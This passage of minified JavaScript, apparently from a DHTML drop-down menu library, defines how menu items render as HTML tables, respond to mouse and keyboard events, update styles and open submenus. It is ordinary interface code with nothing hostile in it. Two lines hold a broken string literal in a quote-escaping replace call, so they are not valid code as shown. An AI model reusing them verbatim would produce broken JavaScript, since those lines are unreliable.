Item.DECORATION_BIT=15;CUIItem.CUR_BGCOLOR=1835008;CUIItem.BGCOLOR_BIT=18;CUIItem.CUR_BGIMAGE=14680064;CUIItem.BGIMAGE_BIT=21;CUIItem.CUR_BGREPEAT=117440521;CUIItem.BGREPEAT_BIT=24;CUIItem.CUR_BORDERCOLOR=939527096;CUIItem.BORDERCOLOR_BIT=27;CUIItem.CUR_IMAGE=7516192768;CUIItem.IMAGE_BIT=30;with(CUIItem){CUIItem.MAXSTATE=MOUSEOVER|TRACK|CROSSFRAME|CUR_ICON|CUR_ARROW|CUR_FONT|CUR_COLOR|CUR_DECORATION|CUR_BGCOLOR|CUR_BGIMAGE|CUR_BGREPEAT|CUR_BORDERCOLOR|CUR_IMAGE;}CUIItem.fsGetHTML=function(){var s="",icos,arrs,ltab,rtab,_r=_STNS,m=this.oParMenu,p=this.oParPopup,_mc=_STNS.UI.CUIMenu,_c=_STNS.UI.CUIItem,cf=this.iStat&_c.CROSSFRAME,bKQ=_r.bIsKQ;with(this){icos=!bScr&&iIcoWid&&iIcoHei?"<td id='"+sUid+"_ico'"+m.fsGetStyle("td",cf,"width:"+(iLeftWid?iLeftWid:iIcoWid)+"px")+" "+(m.bRTL?" align='right'":" align='left'")+">"+m.fsGetImgTag(aIcos[(iStat&_c.CUR_ICON)>>>_c.ICON_BIT],iIcoWid,iIcoHei,iIcoBd,sUid+"_icoImg",cf)+"</td>":"";arrs=!bScr&&iArrWid&&iArrHei?"<td id='"+sUid+"_arr' "+m.fsGetStyle("td",cf,"width:"+(iRightWid?iRightWid:iArrWid)+"px")+" "+(m.bRTL?" align='left'":" align='right'")+">"+m.fsGetImgTag(aArrs[(iStat&_c.CUR_ARROW)>>>_c.ARROW_BIT],iArrWid,iArrHei,iArrBd,sUid+"_arrImg",cf)+"</td>":"";ltab=aLTab[0]||aLTab[1]?"<td id='"+sUid+"_ltab' "+m.fsGetStyle("td",cf,"width:"+iLTabWid+"px;")+" align=\"right\" valign=\"middle\" >"+m.fsGetImgTag(aLTab[0],iLTabWid,iITabHei,0,sUid+"_ltabImg",cf)+"</td>":"";rtab=aRTab[0]||aRTab[1]?"<td id='"+sUid+"_rtab' "+m.fsGetStyle("td",cf,"width:"+iRTabWid+"px;")+" align=\"left\" valign=\"middle\" >"+m.fsGetImgTag(aRTab[0],iRTabWid,iITabHei,0,sUid+"_rtabImg",cf)+"</td>":"";s+=(!bKQ?"<a tabIndex=100 "+(STM_KEY==1&&_r.bIsIE?"hidefocus=true":"")+" "+m.fsGetEnt(this,"click","",cf)+" "+m.fsGetEnt(this,"keydown","",cf)+" "+m.fsGetEnt(this,"mouseover","link",cf)+" "+m.fsGetEnt(this,"mouseout","link",cf)+" "+m.fsGetEnt(this,"mousemove","link",cf)+" "+(_sTLnk?"href=\""+(_sTLnk=="#_nolink"?"#":_sTLnk.replace(/\"/g,"""))+"\" ":"")+"target='"+sTar+"' "+"id='"+sUid+"_lnk' "+m.fsGetStyle("a",cf,(STM_KEY==1?_r.bIsFX?"-moz-outline-style:none;":"outline:none;":"")+"text-decoration:none;"+(sLnk=="#_nolink"?(_r.bIsFX&&m.aCursors[0]=="hand"?"":"cursor:"+m.aCursors[0]):(_r.bIsFX&&m.aCursors[1]=="hand"?"":"cursor:"+m.aCursors[1])))+">":"");s+="<table cellspacing=0 "+m.fsGetEnt(this,"mouseover","",cf)+" "+m.fsGetEnt(this,"mouseout","",cf)+" "+m.fsGetEnt(this,"dblclick","",cf)+" "+m.fsGetEnt(this,"mousedown","",cf)+" "+m.fsGetEnt(this,"mousemove","",cf)+" "+" cellpadding=\"0px\" "+(sTip?"title=\""+sTip+"\" ":"")+"id=\""+sUid+"\" "+m.fsGetStyle("tb",cf,(iWid&&iWid!=-1?"width:"+_r.fsGetLen("tb",iWid,0,iBdStyle>0&&iBdWid>0?iBdWid:0,1)+";":m.bTab&&this.oParPopup.iDepth==1&&_r.bIsOP&&_r.oNav.version<9.5?"width:1px;":"")+(iHei&&iHei!=-1?"height:"+_r.fsGetLen("tb",iHei,0,iBdStyle>0&&iBdWid>0?iBdWid:0,1,0)+";":"")+(iBdStyle>0&&iBdWid>0?"border-width:"+iBdWid+"px;border-style:"+_mc.BORDERS[iBdStyle]+";border-color:"+aBdClrs[(iStat&_c.CUR_BORDERCOLOR)>>>_c.BORDERCOLOR_BIT]+";":""))+">";s+=ltab;s+="<td id='"+sUid+"_itd' nowrap "+" align='"+_mc.ALIGNS[iHal]+"'"+" valign='"+_mc.VALGINS[iVal]+"' "+m.fsGetStyle("td",cf,(iHei!="100%"&&iHei!=-1?"height:"+_r.fsGetLen("tb",iHei,0,0,1,0)+";":"")+(m.bTab?"width:100%;":"")+(aBgClrs[(iStat&_c.CUR_BGCOLOR)>>>_c.BGCOLOR_BIT]?"background-color:"+aBgClrs[(iStat&_c.CUR_BGCOLOR)>>>_c.BGCOLOR_BIT]+";":"")+(aBgImgs[(iStat&_c.CUR_BGIMAGE)>>>_c.BGIMAGE_BIT]?"background-image:url("+(cf?_r.fsGetAbsPth(aBgImgs[(iStat&_c.CUR_BGIMAGE)>>>_c.BGIMAGE_BIT]):aBgImgs[(iStat&_c.CUR_BGIMAGE)>>>_c.BGIMAGE_BIT])+");":"")+(_mc.REPEATS[aBgReps[(iStat&_c.CUR_BGREPEAT)>>>_c.BGREPEAT_BIT]]?"background-repeat:"+_mc.REPEATS[aBgReps[(iStat&_c.CUR_BGREPEAT)>>>_c.BGREPEAT_BIT]]+";":""))+">";s+="<table cellspacing=0 "+m.fsGetEnt(this,"mouseover","",cf)+" "+m.fsGetEnt(this,"mouseout","",cf)+" "+m.fsGetEnt(this,"dblclick","",cf)+" "+m.fsGetEnt(this,"mousedown","",cf)+" "+m.fsGetEnt(this,"mousemove","",cf)+" "+" cellpadding="+iPad+" "+" id='"+sUid+"_itb' "+m.fsGetStyle("tb",cf,"width:100%;height:100%;"+(_STNS.bIsOP&&_STNS.oNav.version>=9&&_STNS.oNav.version<9.5?"text-decoration:"+(aDecos[(iStat&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]?(aDecos[(iStat&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]&1?"underline ":"")+(aDecos[(iStat&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]&2?"line-through ":"")+(aDecos[(iStat&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]&4?"overline ":""):"none")+";":""))+">";s+=(m.bRTL?arrs:icos);s+="<td id='"+sUid+"_cnt' nowrap "+m.fsGetStyle("td",cf,"font-size:1pt;")+" align='"+_mc.ALIGNS[iHal]+"'"+" valign='"+_mc.VALGINS[iVal]+"'"+">";s+=(bKQ?"<a tabIndex=100 "+m.fsGetEnt(this,"click","",cf)+" "+m.fsGetEnt(this,"keydown","",cf)+" "+m.fsGetEnt(this,"mouseover","link",cf)+" "+m.fsGetEnt(this,"mouseout","link",cf)+" "+m.fsGetEnt(this,"mousemove","link",cf)+" "+(_sTLnk?"href=\""+(_sTLnk=="#_nolink"?"#":_sTLnk.replace(/\"/g,"""))+"\" ":"")+"target='"+sTar+"' "+"id='"+sUid+"_lnk' "+m.fsGetStyle("a",cf,"text-decoration:none;"+(sLnk=="#_nolink"?(_r.bIsFX&&m.aCursors[0]=="hand"?"":"cursor:"+m.aCursors[0]):(_r.bIsFX&&m.aCursors[1]=="hand"?"":"cursor:"+m.aCursors[1])))+">":"");s+=" "+"<span id='"+sUid+"_txt' "+m.fsGetStyle("sp",cf,(aFntClrs[(iStat&_c.CUR_COLOR)>>>_c.COLOR_BIT]?"color:"+aFntClrs[(iStat&_c.CUR_COLOR)>>>_c.COLOR_BIT]+";":"")+(aFnts[(iStat&_c.CUR_FONT)>>>_c.FONT_BIT]?"font:"+aFnts[(iStat&_c.CUR_FONT)>>>_c.FONT_BIT]+";":"")+"text-decoration:"+(aDecos[(iStat&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]?(aDecos[(iStat&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]&1?"underline ":"")+(aDecos[(iStat&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]&2?"line-through ":"")+(aDecos[(iStat&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]&4?"overline ":""):"none")+";")+">"+(iTyp==2?m.fsGetImgTag(aImgs[(iStat&_c.CUR_IMAGE)>>>_c.IMAGE_BIT],iImgWid,iImgHei,iImgBd,sUid+"_img",cf):sTxt)+"</span>";s+=(bKQ?"</a>":"");s+="</td>";s+=(m.bRTL?icos:arrs);s+="</table>";s+="</td>";s+=rtab;s+="</table>";s+=(!bKQ?"</a>":"");}return s;};CUIItem.fbGetEnt=function(e,o){var et=e.type||e,oid=o.id,_r=_STNS,_c=_r.UI.CUIItem,as,r;with(this){switch(et){case "mouseover":if(!o._ov&&((_r.bIsIE&&e.srcElement&&_r.fbIsPar(o,e.srcElement))||(!_r.bIsIE&&e.target&&_r.fbIsPar(o,e.target)))){o._ov=1;if(oid==this.sUid+"_lnk"){if(_STNS.bIsOP&&this.oParMenu.iTab==2){fbFireEnt("mouseoverlink");}else{return fbFireEnt("mouseoverlink");}}this.iStat|=_c.MOUSEOVER;return fbFireEnt("mouseover");}break;case "mouseout":if(o._ov&&((_r.bIsIE&&(!e.toElement||!_r.fbIsPar(o,e.toElement)))||!_r.bIsIE&&(!e.relatedTarget||!_r.fbIsPar(o,e.relatedTarget)))){o._ov=0;if(oid==this.sUid+"_lnk"){return fbFireEnt("mouseoutlink");}this.iStat&=_c.MAXSTATE-_c.MOUSEOVER;if(this.oParMenu.iTab==2&&this.oParPopup.iDepth==0){var m=this.oParMenu,w=this.iStat&_c.CROSSFRAME?this.oParMenu.fdmGetTarFm():window;m.OutItem=this;if(!_STNS.UI.CUICanvas&&m.oFocus&&m.oFocus==this){var o=_r.fdmGetEleById(this.sUid+"_lnk",w);if(o){o.blur();}m.oFocus=0;}return true;}return fbFireEnt("mouseout");}break;case "click":as=0;if(e.shiftKey){as|=1;}if(e.ctrlKey){as|=2;}if(e.altKey){as|=4;}as|=8;if(_r.bIsIE&&e.srcElement&&e.srcElement.id&&!e.srcElement.id.indexOf(this.sUid+"_arr")||!_r.bIsIE&&e.target&&e.target.id&&!e.target.id.indexOf(this.sUid+"_arr")){return fbFireEnt("clickarrow",as);}return fbFireEnt("click",as);case "keydown":switch(e.keyCode){case 9:return false;case 13:return fbFireEnt("pressEnter");case 27:return fbFireEnt("pressEsc");case 37:return fbFireEnt("pressLeft");case 38:return fbFireEnt("pressUp");case 39:return fbFireEnt("pressRight");case 40:return fbFireEnt("pressDown");}break;case "mousedown":as=0;if(e.shiftKey){as|=1;}if(e.ctrlKey){as|=2;}if(e.altKey){as|=4;}as|=e.button*8;return fbFireEnt("mousedown",as);default:return fbFireEnt(et,as);}}return true;};CUIItem.fbSetStatus=function(){if(this.sStatus){top.status=this.sStatus;}else{if(this.sLnk&&this.sLnk!="#_nolink"){top.status=_STNS.fsGetAbsPth(this.sLnk);}}return true;};CUIItem.fbReStatus=function(){top.status="";return true;};CUIItem.fbSetOver=function(){var _r=_STNS,_c=_r.UI.CUIItem,p=this.oParPopup,sp=this.oSubPopup,_ic=_r.UI.CUIItem,m=this.oParMenu;if(!(m.iClk&4)&&!_STNS.UI.CUICanvas){for(var i=0;i<p.aItems.length;i++){if(p.aItems[i].oSubPopup&&i!=this.iNid){p.aItems[i].oSubPopup.fbHide();p.aItems[i].fbUpDate(p.aItems[i].iStat&(_ic.MAXSTATE-_ic.MOUSEOVER_STYLE));}}}if((m.iClk&4)&&!_STNS.UI.CUICanvas){if(m.OutItem&&this.oParPopup!=m.OutItem.oParPopup){for(var i=0;i<m.aPopups.length;i++){for(var j=0;j<m.aPopups[i].aItems.length;j++){if(m.aPopups[i].aItems[j]!=this){if(m.aPopups[i].aItems[j].oSubPopup){if(m.aPopups[i].aItems[j].oSubPopup._tTid){clearTimeout(m.aPopups[i].aItems[j].oSubPopup._tTid);}if(m.aPopups[i].aItems[j].oParPopup.iDepth==this.oParPopup.iDepth&&m.aPopups[i].aItems[j].oSubPopup){m.aPopups[i].aItems[j].fbFireEnt("mouseout");m.aPopups[i].aItems[j].oSubPopup.fbHide();}}else{m.aPopups[i].aItems[j].fbFireEnt("mouseout");}}}}if(sp){clearTimeout(sp._tTid);}}}if((m.iClk&1)&&!(m.iClk&2)&&!m.bClked){return true;}this.fbUpDate(this.iStat|_c.MOUSEOVER_STYLE);if(m.bTab){if(m.iStat&_r.UI.CUIMenu.MOUSEOVER){for(var i=0;i<m.aPopups.length;i++){for(var j=0;j<m.aPopups[i].aItems.length;j++){var ci=m.aPopups[i].aItems[j];if(typeof ci.sTxt!="undefined"){if(!(ci==this||(this.oParPopup&&ci==this.oParPopup.oParItem))){ci.fbUpDate(ci.iStat&(_c.MAXSTATE-m.TRACK_STYLE-_c.TRACK));}}}}}if(!m.oSel){m.oSel=this;}if(m.oSel.fbRotItem()!=this.fbRotItem()){if(m.oSel.oParItem){m.oSel.oParItem.fbSetOut();}m.oSel.fbSetOut();}else{if(m.oSel.oParPopup.iDepth==this.oParPopup.iDepth&&m.oSel!=this){m.oSel.fbSetOut();}else{if(m.oSel.oParPopup.iDepth>this.oParPopup.iDepth){m.oSel.fbSetOut();}}}m.oSel=this;}return true;};CUIItem.fbSetOut=function(){var _r=_STNS,_c=_r.UI.CUIItem,m=this.oParMenu,w=this.iStat&_c.CROSSFRAME?this.oParMenu.fdmGetTarFm():window;m.OutItem=this;if(!_STNS.UI.CUICanvas&&m.oFocus&&m.oFocus==this){var o=_r.fdmGetEleById(this.sUid+"_lnk",w);if(o){o.blur();}m.oFocus=0;}this.fbUpDate(this.iStat&(_c.MAXSTATE-_c.MOUSEOVER_STYLE));return true;};CUIItem.fbSetFnt=function(f){var _r=_STNS,e,w=this.iStat&_c.CROSSFRAME?this.oParMenu.fdmGetTarFm():window;e=_r.fdmGetEleById(this.sUid+"_txt",w);if(e){e.style.font=f;}};CUIItem.fbSetBg=function(c,i,r){var _r=_STNS,e,w=this.iStat&_c.CROSSFRAME?this.oParMenu.fdmGetTarFm():window;e=_r.fdmGetEleById(this.sUid,w);if(e){e.style.background=c+" "+"url("+i+") "+r;}};CUIItem.fbSetCursor=function(c){var _r=_STNS,e,w=this.iStat&_r.UI.CUIItem.CROSSFRAME?this.oParMenu.fdmGetTarFm():window;e=_r.fdmGetEleById(this.sUid+"_lnk",w);if(e){if(_STNS.bIsFX&&c=="hand"){e.style.cursor="";}else{e.style.cursor=c;}}};CUIItem.fbOpenLnk=function(a){var _r=_STNS,sk=a&_r.UI.CUIItem.SHIFTKEY,_c=_r.UI.CUIItem,e,p=this.oParPopup,m=this.oParMenu,cf=this.iStat&_c.CROSSFRAME,w=cf?m.fdmGetTarFm():window,e;var sp=this.oSubPopup,scf=sp?(sp.iStat&_r.UI.CUIPopup.SHOW)&&(sp.iStat&_r.UI.CUIPopup.CROSSFRAME):0;if(this.sLnk&&this.sLnk!="#_nolink"){if(_r.bIsSF&&!m.bTab){this.fbSetOut();}e=_STNS.fdmGetEleById(this.sUid+"_lnk",w);if(cf||scf){m.bRunEff=false;this.fbSetOut();if(m.iTyp==3){p.fbHideX(0,p.iDepth,-1,1);}else{if(m.iTyp==2&&STM_AHCM){p.fbHideX(0,p.iDepth,-1,1);}else{p.fbHideX(0,p.iDepth,0,1);}}m.bRunEff=true;}if(_r.bIsIE&&e){e.click();}return true;}else{return false;}};CUIItem.fbInit=function(){var _r=_STNS,_c=_r.UI.CUIItem,e,p=this.oParPopup,m=this.oParMenu,w=this.iStat&_c.CROSSFRAME?m.fdmGetTarFm():window;if(e=_r.fdmGetEleById(this.sUid,w)){if(e&&this.iHei=="100%"){if(_r.bIsSF){if(!p.bMul){e.style.height=e.offsetParent.offsetParent.offsetHeight-2*p.iSpace+"px";}else{var _1ca=0;for(var i=0;i<p.tr.length;i++){for(var j=0;j<p.tr[i].length;j++){if(p.tr[i][j]==this.iNid){_1ca=p.tr[i].Maxtd;break;}}if(_1ca){break;}}e.style.height=_1ca+"px";}}else{if(_STNS.bIsIE&&!_STNS.bLoaded&&!this.oParPopup.iNid){_STNS.fbAddLoad(new Function("var i;if(i=_STNS.fdmGetEleById('"+this.sUid+"'))i.style.height=i.offsetParent.offsetHeight+'px';"));}else{if(e.offsetParent){e.style.height=e.offsetParent.offsetHeight+"px";}else{_STNS.fbAddLoad(new Function("var i;if(i=_STNS.fdmGetEleById('"+this.sUid+"'))i.style.height=i.offsetParent.offsetHeight+'px';"));}}}}if(m.iWid&&!this.oParPopup.iNid&&(!this.iWid||this.iWid==-1)){e.style.width="100%";}}return true;};CUIItem.fbShowSub=function(){var _r=_STNS,_cp=_r.UI.CUIPopup,_ic=_r.UI.CUIItem,p=this.oParPopup,m=this.oParMenu;if((m.iClk&1)&&!m.bClked){return true;}for(var i=0;i<p.aItems.length;i++){if(p.aItems[i].oSubPopup&&i!=this.iNid){p.aItems[i].oSubPopup.fbHide();p.aItems[i].fbUpDate(p.aItems[i].iStat&(_ic.MAXSTATE-_ic.MOUSEOVER_STYLE));}}if(this.oSubPopup){if(arguments[0]&&(arguments[0]&8)){this.oSubPopup.fbShow();}else{this.oSubPopup.fbShow(p.iTyp&_cp.VERTICAL?m.iDelaySV:m.iDelaySH);}}return true;};CUIItem.fbHideSub=function(){var _r=_STNS,_cp=_r.UI.CUIPopup,p=this.oParPopup,m=this.oParMenu;if(this.oSubPopup&&m.bHdPopup){this.oSubPopup.fbHide(m.iDelayHd);}return true;};CUIItem.fbUpDate=function(s){var d=this.iStat^s,_r=_STNS,_mc=_r.UI.CUIMenu,_c=_r.UI.CUIItem,te,cf=this.iStat&_c.CROSSFRAME,e,w=cf?this.oParMenu.fdmGetTarFm():window;e=_STNS.fdmGetEleById(this.sUid,w);with(this){if(e){if((d&_c.CUR_BORDERCOLOR)&&aBdClrs[(iStat&_c.CUR_BORDERCOLOR)>>>_c.BORDERCOLOR_BIT]!=aBdClrs[(s&_c.CUR_BORDERCOLOR)>>>_c.BORDERCOLOR_BIT]){e.style.borderColor=aBdClrs[(s&_c.CUR_BORDERCOLOR)>>>_c.BORDERCOLOR_BIT];}if(te=_r.fdmGetEleById(sUid+"_itd",w)){if((d&_c.CUR_BGCOLOR)&&aBgClrs[(iStat&_c.CUR_BGCOLOR)>>>_c.BGCOLOR_BIT]!=aBgClrs[(s&_c.CUR_BGCOLOR)>>>_c.BGCOLOR_BIT]){te.style.backgroundColor=aBgClrs[(s&_c.CUR_BGCOLOR)>>>_c.BGCOLOR_BIT];}if((d&_c.CUR_BGREPEAT)&&aBgReps[(iStat&_c.CUR_BGREPEAT)>>>_c.BGREPEAT_BIT]!=aBgReps[(s&_c.CUR_BGREPEAT)>>>_c.BGREPEAT_BIT]){te.style.backgroundRepeat=_mc.REPEATS[aBgReps[(s&_c.CUR_BGREPEAT)>>>_c.BGREPEAT_BIT]];}if((d&_c.CUR_BGIMAGE)&&aBgImgs[(iStat&_c.CUR_BGIMAGE)>>>_c.BGIMAGE_BIT]!=aBgImgs[(s&_c.CUR_BGIMAGE)>>>_c.BGIMAGE_BIT]){te.style.backgroundImage="url("+(aBgImgs[(s&_c.CUR_BGIMAGE)>>>_c.BGIMAGE_BIT]?(cf?_r.fsGetAbsPth(aBgImgs[(s&_c.CUR_BGIMAGE)>>>_c.BGIMAGE_BIT]):aBgImgs[(s&_c.CUR_BGIMAGE)>>>_c.BGIMAGE_BIT]):(cf?_r.fsGetAbsPth(oParMenu.sBlank):oParMenu.sBlank))+")";}var lTab=_r.fdmGetEleById(sUid+"_ltabImg",w),rTab=_r.fdmGetEleById(sUid+"_rtabImg",w);var _1e2=((s&_c.CUR_BGIMAGE)>>>_c.BGIMAGE_BIT)?aLTab[1]:aLTab[0];var _1e3=((s&_c.CUR_BGIMAGE)>>>_c.BGIMAGE_BIT)?aRTab[1]:aRTab[0];if(lTab){lTab.src=_1e2?_1e2:oParMenu.sBlank;}if(rTab){rTab.src=_1e3?_1e3:oParMenu.sBlank;}}if(te=_r.fdmGetEleById(sUid+"_txt",w)){if((d&_c.CUR_FONT)&&aFnts[(iStat&_c.CUR_FONT)>>>_c.FONT_BIT]!=aFnts[(s&_c.CUR_FONT)>>>_c.FONT_BIT]){te.style.font=aFnts[(s&_c.CUR_FONT)>>>_c.FONT_BIT];}if((d&_c.CUR_COLOR)&&aFntClrs[(iStat&_c.CUR_COLOR)>>>_c.COLOR_BIT]!=aFntClrs[(s&_c.CUR_COLOR)>>>_c.COLOR_BIT]){te.style.color=aFntClrs[(s&_c.CUR_COLOR)>>>_c.COLOR_BIT];}if((d&_c.CUR_DECORATION)&&aDecos[(iStat&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]!=aDecos[(s&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]){te.style.textDecoration=aDecos[(s&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]?(aDecos[(s&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]&1?"underline ":"")+(aDecos[(s&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]&2?"line-through ":"")+(aDecos[(s&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]&4?"overline ":""):"none";if(_STNS.bIsOP&&_STNS.oNav.version>=9&&_STNS.oNav.version<9.5){e.style.textDecoration=aDecos[(s&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]?(aDecos[(s&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]&1?"underline ":"")+(aDecos[(s&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]&2?"line-through ":"")+(aDecos[(s&_c.CUR_DECORATION)>>>_c.DECORATION_BIT]&4?"overline ":""):"none";}}}if((d&_c.CUR_ICON)&&aIcos[(iStat&_c.CUR_ICON)>>>_c.ICON_BIT]!=aIcos[(s&_c.CUR_ICON)>>>_c.ICON_BIT]){if(te=_r.fdmGetEleById(sUid+"_icoImg",w)){te.src=aIcos[(s&_c.CUR_ICON)>>>_c.ICON_BIT]?(cf?_r.fsGetAbsPth(aIcos[(s&_c.CUR_ICON)>>>_c.ICON_BIT]):aIcos[(s&_c.CUR_ICON)>>>_c.ICON_BIT]):(cf?_r.fsGetAbsPth(oParMenu.sBlank):oParMenu.sBlank);}}if((d&_c.CUR_ARROW)&&aArrs[(iStat&_c.CUR_ARROW)>>>_c.ARROW_BIT]!=aArrs[(s&_c.CUR_ARROW)>>>_c.ARROW_BIT]){if(te=_r.fdmGetEleById(sUid+"_arrImg",w)){te.src=aArrs[(s&_c.CUR_ARROW)>>>_c.ARROW_BIT]?(cf?_r.fsGetAbsPth(aArrs[(s&_c.CUR_ARROW)>>>_c.ARROW_BIT]):aArrs[(s&_c.CUR_ARROW)>>>_c.ARROW_BIT]):(cf?_r.fsGetAbsPth(oParMenu.sBlank):oParMenu.sBlank);}}if(!bScr&&(d&_c.CUR_IMAGE)&&aImgs[(iStat&_c.CUR_IMAGE)>>>_c.IMAGE_BIT]!=aImgs[(s&_c.CUR_IMAGE)>>>_c.IMAGE_BIT]){if(te=_r.fdmGetEleById(sUid+"_img",w)){te.src=aImgs[(s&_c.CUR_IMAGE)>>>_c.IMAGE_BIT]?(cf?_r.fsGetAbsPth(aImgs[(s&_c.CUR_IMAGE)>>>_c.IMAGE_BIT]):aImgs[(s&_c.CUR_IMAGE)>>>_c.IMAGE_BIT]):(cf?_r.fsGetAbsPth(oParMenu.sBlank):oParMenu.sBlank);}}}iStat=s;}};CUIItem.fbCkClk=function(){var m=this.oParMenu;if(!m.bClked){m.bClked=true;if(m.iClk&1){if(this.oSubPopup){this.oSubPopup.fbShow();}}if(!(m.iClk&2)){this.fbSetOver();}}return true;};CUIItem.fbEnter=function(){var o=this,s=o.oSubPopup,m=o.oParMenu;if(o._sTLnk=="#_nolink"){if(s&&!m.bTab){m.bRunEff=false;if(s.iStat&_STNS.UI.CUIPopup.SHOW){s.fbHide();}else{if(!(m.iClk&4)){s.fbShow();}}m.bRunEff=true;}return false;}if(_STNS.bIsSF){var p=o.oParPopup,pp=o,d=p.iDepth;if(d>=1){for(var i=d;i>0;i--){pp=pp.oParPopup;pp.fbHide();pp.oParItem.fbSetOut();}}else{if(d==0){o.fbSetOut();}}m.iStat&=_STNS.UI.CUIMenu.MAXSTATE-_STNS.UI.CUIMenu.MOUSEOVER;m.oFocus=0;}};CUIItem.fbEsc=function(){var _r=_STNS,o=this,m=o.oParMenu,s=o.oSubPopup,p=o.oParPopup,pi=p.oParItem,dp=p.iDepth;m.bRunEff=false;if(s&&(s.iStat&_r.UI.CUIPopup.SHOW)){if(!m.bTab){s.fbHide();}m.bRunEff=true;return false;}if(dp){o.fbFireEnt("mouseout");if(!m.bTab){p.fbHide();}else{this.fbSetOut();}pi.fbSetfs();}else{o.fbFireEnt("mouseout");_r.fdmGetEleById(o.sUid+"_lnk").blur();}m.bRunEff=true;return false;};CUIItem.fbUp=function(){var _r=_STNS,o=this,m=o.oParMenu,p=o.oParPopup,pi=p.oParItem,dp=p.iDepth,v=p.iTyp&_STNS.UI.CUIPopup.VERTICAL,f=m.iClk&4;if((m.iClk&1)&&!m.bClked){return false;}m.bRunEff=false;var a=o.faItems();if(a[2]==1&&dp>=1){o.fbFireEnt("mouseout");pi.fbFireEnt("mousedown",8);pi.fbFOver();if(p.iStat&_r.UI.CUIPopup.SHOW){if(!m.bTab){p.fbHide();}}}else{if(v){var nI=o.fbNxtItem(0);if(nI!=o){o.fbFireEnt("mouseout");if(f){if(o.oSubPopup){o.oSubPopup.fbHide();}}nI.fbFOver();}}else{if(o.oSubPopup&&(o.oSubPopup.iStat&_r.UI.CUIPopup.SHOW)){if(!m.bTab){o.oSubPopup.fbHide();}}else{if(dp){o.fbFireEnt("pressEsc");}}}}m.bRunEff=true;return false;};CUIItem.fbDown=function(){var _r=_STNS,o=this,m=o.oParMenu,p=o.oParPopup,dp=p.iDepth,v=p.iTyp&_STNS.UI.CUIPopup.VERTICAL,f=m.iClk&4;if((m.iClk&1)&&!m.bClked){return false;}m.bRunEff=false;if(v){var a=o.faItems();if(a[2]==1){m.bRunEff=true;return false;}var nI=o.fbNxtItem(1),fI=nI.fbPopFirItem();o.fbFireEnt("mouseout");if(f){if(o.oSubPopup){o.oSubPopup.fbHide();}}nI.fbFOver();}else{if(o.oSubPopup){var fI=o.fbPopFirItem();o.oSubPopup.fbShow();if(fI){if(_r.bIsSF&&_r.oNav.version<523.12){o.fbBlur();}fI.fbFOver();}}}m.bRunEff=true;return false;};CUIItem.fbLeft=function(){var _r=_STNS,o=this,m=o.oParMenu,p=o.oParPopup,pi=p.oParItem,dp=p.iDepth,v=p.iTyp&_STNS.UI.CUIPopup.VERTICAL,f=m.iClk&4;if((m.iClk&1)&&!m.bClked){return false;}m.bRunEff=false;var a=o.faItems();if(a[2]==1&&dp>1){o.fbFireEnt("mouseout");pi.fbFireEnt("mousedown",8);pi.fbFOver();if(p.iStat&_r.UI.CUIPopup.SHOW){p.fbHide();}}else{if(!v){var nI=o.fbNxtItem(0);if(nI!=o){if(!m.bTab){o.fbSetOut();}else{var _c=_r.UI.CUIItem;for(var i=0;i<p.aItems.length;i++){if(typeof p.aItems[i].sTxt!="undefined"){var pi=p.aItems[i];pi.fbUpDate(pi.iStat&(_c.MAXSTATE-m.TRACK_STYLE-_c.TRACK));}}}if(f){if(o.oSubPopup){o.oSubPopup.fbHide();}}nI.fbFOver();}}else{if(o.oSubPopup&&(o.oSubPopup.iStat&_r.UI.CUIPopup.SHOW)){o.oSubPopup.fbHide();}else{if(dp){o.fbFireEnt("pressEsc");}}}}m.bRunEff=true;return false;};CUIItem.fbRight=function(){var _r=_STNS,o=this,m=o.oParMenu,p=o.oParPopup,dp=p.iDepth,v=p.iTyp&_STNS.UI.CUIPopup.VERTICAL,f=m.iClk&4;if((m.iClk&1)&&!m.bClked){return false;}m.bRunEff=false;if(!v){var a=o.faItems();if(a[2]==1){m.bRunEff=true;return false;}var nI=o.fbNxtItem(1),fI=nI.fbPopFirItem();if(!m.bTab){o.fbSetOut();}else{var _c=_r.UI.CUIItem;for(var i=0;i<p.aItems.length;i++){if(typeof p.aItems[i].sTxt!="undefined"){var pi=p.aItems[i];pi.fbUpDate(pi.iStat&(_c.MAXSTATE-m.TRACK_STYLE-_c.TRACK));}}}if(f){if(o.oSubPopup){o.oSubPopup.fbHide();}}nI.fbFOver();}else{if(o.oSubPopup){var fI=o.fbPopFirItem();o.oSubPopup.fbShow();if(fI){if(_r.bIsSF&&_r.oNav.version<523.12){o.fbBlur();}fI.fbFOver();}}else{var pi=p.oParItem;if(dp>1&&!pi.oParPopup.iTyp){if(pi.faItems()[2]>1){var npi=pi.fbNxtItem(1);o.fbFireEnt("mouseout");if(f){pi.fbFireEnt("mouseout");if(pi.oSubPopup){pi.oSubPopup.fbHide();}}npi.fbFOver();}m.bRunEff=true;return false;}else{if(m.aPopups[0].iTyp&_STNS.UI.CUIPopup.VERTICAL){m.bRunEff=true;return false;}}var rI=o.fbRotItem();if(rI.faItems()[2]>1){var nI=rI.fbNxtItem(1),fI=nI.fbPopFirItem();o.fbFireEnt("mouseout");if(f){rI.fbFireEnt("mouseout");if(rI.oSubPopup){rI.oSubPopup.fbHide();}}nI.fbFOver();}}}m.bRunEff=true;return false;};CUIItem.faItems=function(){var fst=lst=x=y=0,p=this.oParPopup;for(var i=0;i<p.aItems.length;i++){if(typeof p.aItems[i].sTxt!="undefined"){x++;}}for(var j=0;j<p.aItems.length;j++){if(typeof p.aItems[j].sTxt!="undefined"){y++;if(y==1){fst=p.aItems[j];}if(y==x){lst=p.aItems[j];}}}return [fst,lst,x];};CUIItem.fbNxtItem=function(n){var 